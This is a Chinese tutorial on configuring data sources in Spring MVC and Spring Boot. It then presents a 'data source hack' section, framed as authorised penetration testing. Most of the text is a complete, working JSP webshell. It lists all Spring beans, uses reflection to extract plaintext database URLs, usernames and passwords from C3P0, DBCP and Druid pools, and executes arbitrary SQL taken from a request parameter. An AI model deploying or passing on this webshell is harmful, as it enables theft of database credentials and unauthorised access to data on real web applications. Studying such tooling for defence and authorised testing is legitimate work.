在Spring MVC中我们可以自由的选择第三方数据源，通常我们会定义一个DataSource Bean用于配置和初始化数据源对象，然后在Spring中就可以通过Bean注入的方式获取数据源对象了。

在基于XML配置的SpringMVC中配置数据源:

  1. <bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource" init-method="init" destroy-method="close">
  2.         <property name="url" value="${jdbc.url}"/>
  3.         <property name="username" value="${jdbc.username}"/>
  4.         <property name="password" value="${jdbc.password}"/>
  5.         ....
  6.         />

如上，我们定义了一个id为dataSource的Spring Bean对象，username和password都使用了${jdbc.XXX}表示，很明显${jdbc.username}并不是数据库的用户名，这其实是采用了Spring的property-placeholder制定了一个properties文件，使用${jdbc.username}其实会自动自定义的properties配置文件中的配置信息。

  1. <context:property-placeholder location="classpath:/config/jdbc.properties"/>

jdbc.properties内容：

  1. jdbc.driver=com.mysql.jdbc.Driver
  2. jdbc.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
  3. jdbc.username=root
  4. jdbc.password=root

在Spring中我们只需要通过引用这个Bean就可以获取到数据源了，比如在Spring JDBC中通过注入数据源(ref="dataSource")就可以获取到上面定义的dataSource。

  1. <!-- jdbcTemplate Spring JDBC 模版 -->
  2. <bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate" abstract="false" lazy-init="false">
  3.   <property name="dataSource" ref="dataSource"/>
  4. </bean>

SpringBoot配置数据源：
在SpringBoot中只需要在application.properties或application.yml中定义spring.datasource.xxx即可完成DataSource配置。

  1. spring.datasource.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
  2. spring.datasource.username=root
  3. spring.datasource.password=root
  4. spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
  5. spring.datasource.driver-class-name=com.mysql.jdbc.Driver

Spring 数据源Hack

我们通常可以通过查找Spring数据库配置信息找到数据库账号密码，但是很多时候我们可能会找到非常多的配置项甚至是加密的配置信息，这将会让我们非常的难以确定真实的数据库配置信息。某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库(高危操作，请勿违法!)证明下危害，那么您可以在webshell中使用注入数据源的方式来获取数据库连接对象，甚至是读取数据库密码(切记不要未经用户授权违规操作！)。

spring-datasource.jsp获取数据源/执行SQL语句示例

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="org.springframework.context.ApplicationContext" %>
  3. <%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
  4. <%@ page import="javax.sql.DataSource" %>
  5. <%@ page import="java.sql.Connection" %>
  6. <%@ page import="java.sql.PreparedStatement" %>
  7. <%@ page import="java.sql.ResultSet" %>
  8. <%@ page import="java.sql.ResultSetMetaData" %>
  9. <%@ page import="java.util.List" %>
  10. <%@ page import="java.util.ArrayList" %>
  11. <%@ page import="java.lang.reflect.InvocationTargetException" %>
  12. <style>
  13.     th, td {
  14.         border: 1px solid #C1DAD7;
  15.         font-size: 12px;
  16.         padding: 6px;
  17.         color: #4f6b72;
  18.     }
  19. </style>
  20. <%!
  21.     // C3PO数据源类
  22.     private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";
  24.     // DBCP数据源类
  25.     private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";
  27.     //Druid数据源类
  28.     private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";
  30.     /**
  31.      * 获取所有Spring管理的数据源
  32.      * @param ctx Spring上下文
  33.      * @return 数据源数组
  34.      */
  35.     List<DataSource> getDataSources(ApplicationContext ctx) {
  36.         List<DataSource> dataSourceList = new ArrayList<DataSource>();
  37.         String[]         beanNames      = ctx.getBeanDefinitionNames();
  39.         for (String beanName : beanNames) {
  40.             Object object = ctx.getBean(beanName);
  42.             if (object instanceof DataSource) {
  43.                 dataSourceList.add((DataSource) object);
  44.             }
  45.         }
  47.         return dataSourceList;
  48.     }
  50.     /**
  51.      * 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
  52.      * @param ctx Spring上下文对象
  53.      * @return 数据源配置字符串
  54.      * @throws ClassNotFoundException 数据源类未找到异常
  55.      * @throws NoSuchMethodException 反射调用时方法没找到异常
  56.      * @throws InvocationTargetException 反射调用异常
  57.      * @throws IllegalAccessException 反射调用时不正确的访问异常
  58.      */
  59.     String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
  60.             NoSuchMethodException, InvocationTargetException, IllegalAccessException {
  62.         List<DataSource> dataSourceList = getDataSources(ctx);
  64.         for (DataSource dataSource : dataSourceList) {
  65.             String className = dataSource.getClass().getName();
  66.             String url       = null;
  67.             String UserName  = null;
  68.             String PassWord  = null;
  70.             if (C3P0_CLASS_NAME.equals(className)) {
  71.                 Class clazz = Class.forName(C3P0_CLASS_NAME);
  72.                 url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
  73.                 UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
  74.                 PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
  75.             } else if (DBCP_CLASS_NAME.equals(className)) {
  76.                 Class clazz = Class.forName(DBCP_CLASS_NAME);
  77.                 url = (String) clazz.getMethod("getUrl").invoke(dataSource);
  78.                 UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
  79.                 PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
  80.             } else if (DRUID_CLASS_NAME.equals(className)) {
  81.                 Class clazz = Class.forName(DRUID_CLASS_NAME);
  82.                 url = (String) clazz.getMethod("getUrl").invoke(dataSource);
  83.                 UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
  84.                 PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
  85.             }
  87.             return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
  88.         }
  90.         return null;
  91.     }
  92. %>
  93. <%
  94.     String sql = request.getParameter("sql");// 定义需要执行的SQL语句
  96.     // 获取Spring的ApplicationContext对象
  97.     ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());
  99.     // 获取Spring中所有的数据源对象
  100.     List<DataSource> dataSourceList = getDataSources(ctx);
  102.     // 检查是否获取到了数据源
  103.     if (dataSourceList == null) {
  104.         out.println("未找到任何数据源配置信息!");
  105.         return;
  106.     }
  108.     out.println("<hr/>");
  109.     out.println("Spring DataSource配置信息获取测试:");
  110.     out.println("<hr/>");
  111.     out.print(printDataSourceConfig(ctx));
  112.     out.println("<hr/>");
  114.     // 定义需要查询的SQL语句
  115.     sql = sql != null ? sql : "select version()";
  117.     for (DataSource dataSource : dataSourceList) {
  118.         out.println("<hr/>");
  119.         out.println("SQL语句:<font color='red'>" + sql + "</font>");
  120.         out.println("<hr/>");
  122.         //从数据源中获取数据库连接对象
  123.         Connection connection = dataSource.getConnection();
  125.         // 创建预编译查询对象
  126.         PreparedStatement pstt = connection.prepareStatement(sql);
  128.         // 执行查询并获取查询结果对象
  129.         ResultSet rs = pstt.executeQuery();
  131.         out.println("<table><tr>");
  133.         // 获取查询结果的元数据对象
  134.         ResultSetMetaData metaData = rs.getMetaData();
  136.         // 从元数据中获取字段信息
  137.         for (int i = 1; i <= metaData.getColumnCount(); i++) {
  138.             out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
  139.         }
  141.         out.println("<tr/>");
  143.         // 获取JDBC查询结果
  144.         while (rs.next()) {
  145.             out.println("<tr>");
  147.             for (int i = 1; i <= metaData.getColumnCount(); i++) {
  148.                 out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
  149.             }
  151.             out.println("<tr/>");
  152.         }
  154.         rs.close();
  155.         pstt.close();
  156.     }
  157. %>

读取数据源信息和执行SQL语句效果:
2. Spring MVC 数据源 - 图1
上面的代码不需要手动去配置文件中寻找任何信息就可以直接读取出数据库配置信息甚至是执行SQL语句，其实是利用了Spring的ApplicationContext遍历了当前Web应用中Spring管理的所有的Bean，然后找出所有DataSource的对象，通过反射读取出C3P0、DBCP、Druid这三类数据源的数据库配置信息，最后还利用了DataSource获取了Connection对象实现了数据库查询功能。